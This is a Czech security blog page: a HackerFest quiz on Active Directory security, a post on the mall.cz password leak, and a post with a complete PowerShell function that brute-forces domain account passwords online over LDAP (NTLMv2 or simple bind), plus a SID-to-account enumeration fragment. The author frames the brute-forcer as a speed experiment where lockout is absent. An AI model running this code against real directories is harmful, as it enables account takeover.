  $user = New-Object Security.Principal.SecurityIdentifier $domainSID-$_
  $errorActionPreference = 'SilentlyContinue'
  $user.Translate([Type]::GetType('System.Security.Principal.NTAccount')).Value
  $errorActionPreference = 'Continue'
}
září 26
Hackerfest folouap

Minulý týden byla konference HackerFest, údajně se během ní konal nějaký kvíz pro účastníky, a kdo nejlépe odpovídal, něco asi dostal :-)

Pro zábavu, zde jsou otázky, kterými jsem já přispěl do kvízu. Jo a nejprve ještě prezentace z konference a ještě jedna z TechEd 2017, která se hodí tématicky a byl o ni zájem

HackerFest 2017 - Credentials guard and (non)shielding
TechEd 2017 - UEFI, Secure Boot, TPM and Device Guard

A teď už ty slíbené otázečky. A rovnou upozorňuju, že slovo "renovovanější" je v otázce číslo 3 schválně :-)

  1. Na jedné PC stanici ve větší podnikové Active Directory síti byl při pravidelné noční kontrole souborů na disku objeven malware. IT oddělení odpojilo počítač od sítě, odvezlo na incident response oddělení, kde ho borci odvirovali přímo pomocí stejného antiviru, který nákazu detekoval. Opětovná kontrola souborů na disku už žádný další malware nehlásí. Je možné vrátit počítač zpět do provozu?
    1. ano, je to čisté, když se to odvirovalo
    2. ne, protože stejný antivirus, který to detekoval, to nedokáže spolehlivě odvirovat
    3. ne, protože nákaza se už musela rozšířit po síti a jednoznačně už napadla i další počítače
    4. ne, protože nevíme, co na počítači malware způsobil, jestli to nebyl jenom trojský kůň, skrz kterého se do stroje dostaly další, kdovíjaké nákazy
  2. Na Windows operačních systémech v Active Directory doméně se používá služba (service), která se spouští pod doménových uživatelským účtem. Jedná se o účet vyhrazený pro běh této služby na více počítačích. Heslo tohoto účtu služby se zadává ručně při instalaci této služby na počítačích. Jak je na počítačích dlouhodbě uloženo?
    1. ve formě MD4 hash v HKLM registrech
    2. ve formě MD5 hash pomocí DPAPI
    3. ve formě LM hash v HKCU registrech
    4. v plné formě v HKLM registrech
  3. Podniková Active Directory síť s několika stovkami stanic využívá naplno všechny dostupné software ochrany, které nabízí používané Windows 10 1703 x64 operační systémy. Jedná se zejména o BitLocker, UEFI Secure Boot, Device (Credentials) Guard, UAC, Remote Credentials Guard, Windows Defender, Windows Firewall a pod. Admini se tedy ke správě stanic neobávají používat přímo uživatelské účty, které jsou členem skupiny Domain Admins a to jak pro přihlašování lokálně, tak přes RDP apod. Je to chyba?
    1. není to chyba, v pořádku, tyto technologie je ochrání
    2. není to chyba, jen by to chtělo vyměnit antimalware za nějaký pokročilejší, renovovanější, který navíc optimalizuje registry a paměť
    3. není to chyba, stačí mít hesla dlouhá alespoň 15 znaků a vše je v pořádku
    4. je to chyba, evidentně nikdy neslyšeli pojmy jako SSO, hardware/software keylogger, špionážní kamera atd. Doporučujeme buď vyměnit doktora, nebo alespoň nějaké jiné prášky
  4. V podnikovém prostředí Active Directory sítě je implementována separace privilegovaných účtů správců od účtů uživatelských pro běžnou práci. Ke správě se vždy používají pouze vyhrazené admin účty. Správci mají samozřejmě i osobní uživatelské účty pod kterými pracují s aplikacemi jako je prohlížení internetu, email, helpdesk a různé další podnikové agendy. Privilegované účty jsou používány přesně tak, jak to má být, jen pro správu omezených skupin počítačů na definovaných úrovních rizikovosti. Například účty pro správu Active Directory, účty pro správu serverů, nebo účty pro správu různých skupin stanic a notebooků. I přesto se jeden z obyčejných zaměstnanců dokázal nabourat skrz celou síť. Evidentně nějak zjistil heslo účtu doménového admina. Je to účet správce, který má pod svou kontrolou jak účet člena skupiny Domain Admins, tak i jiný účet správce stanic a další oddělený účet pro správu serverů. Je potvrzeno, že účet žádného doménového admina se na žádné stanici nikdy nepoužil. Útočník nikdy neměl přístup nikam jinam, než ke své doménové stanici a měl k dispozici pouze svůj obyčejný omezený uživatelský účet. Co je nejpravděpodobnější příčina toho, že útočník zjistil heslo účtu doménového admina?
    1. uhádl ho z hlavy na několik pokusů
    2. vyzkoušel ho online přes LDAP spojení na DC pomocí automatického hádače hesel
    3. získal hash tohoto hesla z logon keše na své stanici a kreknul heslo pomocí 3D GPU grafické karty
    4. ten blázen správce má na všech svých oddělených účtech stejné heslo
září 15
Online zkoušečka hesel

Už jsem si dlouho chtěl naprogramovat online zkoušečku hesel vůči Active Directory. Zajímalo mě, jak rychlé to je, když neexistuje zamykání účtů (account lockout). Tak jsem si to naprogramoval.

Výsledek je pro dva druhy ověření různý. Použil jsem NTLMv2 a Simple Bind (neboli Basic autentizaci, tedy plaintextové heslo). Schválně jsem nepoužil Kerberos, protože to by se musely generovat tikety pro každé zkoušené heslo a byť by to tedy selhávalo už dopředu při vydávání Kerberos TGT, tak by to bylo stejně pomalejší. Protože pro každé takové vydání by se muselo nahodit nové TCP spojení a to ještě dvakrát - bez pre-authentication a potom s ní. V případě ldap simple bind je to jenom jeden round-trip.

Takže jen NTLMv2 a simple bind. Používám samozřejmě TLS pro simple bind, protože to může být vyžadováno politikami. Samo TLS nijak výkonu nevadí, protože se to celé odehrává v rámci jednoho, už nahozeného, TCP spojení, takže ani TLS handshake znovu neprobíhá.

Dokáže to zkoušet 230 hesel za sekundu přes NTLMv2.

Nebo 470 hesel za vteřinu přes Simple bind.

function global:Try-LdapPasswordsFast (
    [string] $dc, 
    [string] $login, 
    [string] $domain, 
    [switch] $authBasic, 
    [int] $tryLength = 5,
    [string] $charSet = 'abcdefgh' #'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'
    )
{
  if (([AppDomain]::CurrentDomain.GetAssemblies() | % { $_.Evidence.Name }) -notcontains 'System.DirectoryServices.Protocols') {

    [void] ([System.Reflection.Assembly]::LoadWithPartialName('System.DirectoryServices.Protocols'))
  }

  [System.DirectoryServices.Protocols.LdapConnection] $conn = $null
  [System.Management.Automation.ActionPreference] $errorActionBackup = $global:errorActionPreference
  $global:errorActionPreference = [System.Management.Automation.ActionPreference]::Stop

  try {

    if ($authBasic -and ($dc -notlike '?*:?*')) {

      $dc = $dc + ':636'
    }

    $conn = New-Object System.DirectoryServices.Protocols.LdapConnection $dc

    if ($authBasic) {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $false
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $true
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Basic

    } else {

      $conn.SessionOptions.ProtocolVersion = 3
      $conn.SessionOptions.Signing = $true
      $conn.SessionOptions.Sealing = $false
      $conn.SessionOptions.SecureSocketLayer = $false
      $conn.AuthType = [DirectoryServices.Protocols.AuthType]::Ntlm
    }

    [double] $pwdCount = 1;
    for ($i = 0; $i -lt $tryLength; $i++) { $pwdCount = $pwdCount * $charSet.Length }
    Write-Host ('Will try passwords: len = {0} | charset = {1} | pwds = {2}' -f $tryLength, $charSet.Length, $pwdCount)


    [byte[]] $charMatrix = New-Object byte[] $tryLength
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { $charMatrix[$i] = 0 }

    [byte] $positionMax = $charSet.Length - 1
    [int] $iteration = 0
    [string] $foundPwd = [string]::Empty
    [System.Text.StringBuilder] $pwdMachine = New-Object System.Text.StringBuilder $charMatrix.Length
    for ($i = 0; $i -lt $charMatrix.Length; $i ++) { [void] $pwdMachine.Append('.') }

    $error.Clear()
    $dtStart = [DateTime]::Now

    do {

      $iteration ++

      [byte] $i = 0
      while ($i -lt $charMatrix.Length) {

        if ($charMatrix[$i] -eq $positionMax) {

          $charMatrix[$i] = 0
          $i ++
          continue
          
        } else {

          $charMatrix[$i] = $charMatrix[$i] + 1
          break
        }
      }

      for ($k = 0; $k -lt $charMatrix.Length; $k ++)
      {
        $pwdMachine[$k] = $charSet[$charMatrix[$k]]
      }

      $onePwd = $pwdMachine.ToString()
    
      $cred = New-Object System.Net.NetworkCredential $login, $onePwd, $domain
      [bool] $check = $true

      try {

        $conn.Bind($cred)

      } catch {

        #Write-Host ('Error on password: {0} | {1}' -f $onePwd, $_.Exception.Message)
        $check = $false
      }

      if ($check) {

        $foundPwd = $onePwd
        break
      }

      if (($iteration % 27000) -eq 0) {

        $dtProcessDiff = [DateTime]::Now - $dtStart
        Write-Host ('Progress at: {0,8:D} | {1} | {2,7:N1} min | pwds/sec = {3:N0}' -f $iteration, $onePwd, $dtProcessDiff.TotalMinutes, (([double] $iteration) / $dtProcessDiff.TotalSeconds))
      }

    } while ($i -lt $charMatrix.Length)

    $dtEnd = [DateTime]::Now

    Write-Host ('Time stats: iterations = {0} | start = {1} | end = {2} | took = {3:N1} min' -f $iteration, $dtStart.ToString('yyyy-MM-dd HH:mm:ss'), $dtEnd.ToString('yyyy-MM-dd HH:mm:ss'), ($dtEnd - $dtStart).TotalMinutes)
    
    if ([string]::IsNullOrEmpty($foundPwd)) {

      Write-Host ('Didnt find the password')

    } else {

      Write-Host ('Found password: {0}' -f $foundPwd)
    }
  
  } catch {

    Write-Host ('Error: {0}' -f $_.Exception.Message)

  } finally {

    if (-not ([object]::Equals($null, $conn))) {

      $conn.Dispose()
    }

    $global:errorActionPreference = $errorActionBackup
  }
}

Tak jen pro představu.

srpen 31
Únik hesel z mall.cz

Pěkně: https://www.lupa.cz/clanky/v-uniku-z-mallu-je-pres-tri-ctvrte-milionu-jmen-hesel-a-telefonnich-cisel-v-citelne-podobe/

Článek se zabývá primárně krádeží hesel, ale vynechal několik podstatných bodů, které je dobré znovu a znovu opakovat až do zblbnutí:

  • řeči o "prolomenosti" MD5 jsou nesmysl. Z MD5 heše se heslo musí stejně pořád krekovat a pořád doba kreku závisí na délce a kvalitě hesla. Možná je to rychleji než dříve, ale pořád brute-force. Takže tahle krádež byla plaintextová.
  • kdo si do citlivých služeb dává stejná hesla, je blázen. Bez ohledu na to jak si to služba ukládá, stejně v nějakém okamžiku vidí heslo v čisté formě (například vyplněné do formuláře). Pokud bude napadena, stejně útočník hesla hostane čistá, když bude chtít.
  • jak víme, že to byl nějaký hacker? Nejspíš to byl inside-job nějakého milého zaměstnance.
  • tady nejde ani tak o krádež nějakých hesel, tady jde o únik osobních údajů. Dnes mají ještě strop 10 000 000 CZK, od května 2018, kdy vstoupí v účinnost nařízení GDPR, budou mít strop na pokutu 10 000 000 EUR a to ještě nepočítám možné soudy s poškozenými a náhrady jejich škod.
  • incidenty se vždycky dějí, nelze jim zabránit, rizika lze pouze minimalizovat. Případně si mohou riziko přenést na někoho jiného. Předpokládám, že začne velký business s pojistkami proti GDPR pokutám :-)
  • a proto taky GDPR zdůrazňuje potřebu anonymizace a pseudonymizace osobních údajů plynoucí z povinnosti zpracovávat osobní údaje jen po opravdu nutnou dobu. Pokud to neděláte, bude pokuta vyšší :-)
1 - 14Next
>
 

 Rychlovky lepší než tvítr

 
Velikonove 9.4.2017 4:57
V Nemecku zacaly velikonocni prazdniny a proto je ve smeru do Srbska patnackilometrova fronta aut s nemeckou znackou. Evidentne vsichni jedou slavit velikonoce do turecka?
 
ČD se rozhodly že naserou všechny stávající zákazníky 2.3.2017 6:14
ČD se rozhodly že pořádně naserou všechny stávající zákazníky a zrušily inkarty z eschop profilů. Zajděte si pro heslo na přepážku!
 
GoDaddy vydal 8951 certifikátů bez správného ověření - Root.cz 12.1.2017 14:40
https://www.root.cz/clanky/godaddy-vydal-8951-certifikatu-bez-spravneho-overeni
 
start ssl už zase vydává! 1.12.2016 12:50
jupíí, StartSSL už zase vydává!
 
nejede google 22.11.2016 21:16
jak najít teď rychle jinej DNS server když nejede google? brýle se bez brýlí špatně hledají :-)
 
(More Announcements...)